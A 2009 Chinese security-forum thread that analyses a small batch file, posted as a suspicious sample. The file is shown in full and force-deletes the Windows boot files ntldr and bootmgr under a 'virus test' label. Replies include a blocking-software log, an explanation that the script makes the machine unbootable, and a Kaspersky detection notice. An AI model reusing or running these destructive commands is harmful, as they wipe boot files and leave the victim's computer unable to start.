这cmd干吗的？

显示全部楼层 · 发表于 2009-8-22 12:11:51

@echo off / echo 病毒测试将要启动，按任意键继续...
@pause
@attrib -r -h c:\ntdlr
@attrib -r -h c:\bootmgr
@del c:\ntldr /f /s /q /a
@del c:\bootmgr /f /s /q /a
@pause
@echo 病毒测试完成，按任意键继续...
@exit

显示全部楼层 · 发表于 2009-8-22 12:15:08

2009-08-22 12:14:09 进程间消息操作操作:阻止
进程路径:C:\WINDOWS\system32\conime.exe
目标进程:C:\WINDOWS\system32\cmd.exe
消息类型:WM_COPYDATA
触发规则:所有程序规则->*

2009-08-22 12:14:11 运行应用程序操作:阻止并结束进程
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\attrib.exe
命令行:-r -h c:\ntdlr
触发规则:所有程序规则->系统程序设置->*\attrib.exe

显示全部楼层 · 发表于 2009-8-22 12:15:52

那是干吗？

显示全部楼层 · 发表于 2009-8-22 12:18:33

删除系统文件ntldr，bootmgr。造成系统无法正常启动。

显示全部楼层 · 发表于 2009-8-22 12:20:16

果然没猜错。。

显示全部楼层 · 发表于 2009-8-22 12:20:32

最近都发些命令批处理干啥

显示全部楼层 · 发表于 2009-8-22 12:22:12

显示全部楼层 · 发表于 2009-8-22 20:50:02

Hello,

##########.cmd_ - Trojan.BAT.KillWin.es

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.

Please quote all when answering.
The answer is relevant to the latest bases from update sources.

Regards, Andrey Ladikov
Virus Analyst, Kaspersky Lab.

10/1, 1st Volokolamsky Proezd, Moscow, 123060, Russia
Tel./Fax: + 7 (495) 797 8700
http://www.kaspersky.com http://www.viruslist.com

显示全部楼层 · 发表于 2009-8-22 22:07:55

你重启电脑看看

显示全部楼层 · 发表于 2009-8-22 22:57:49

ntdlr

[可疑文件] 这cmd干吗的？

本帖子中包含更多资源

回复 2楼 hddu 的帖子

回复 3楼 post8 的帖子

回复 4楼 hddu 的帖子

本帖子中包含更多资源

回复 7楼 Palkia 的帖子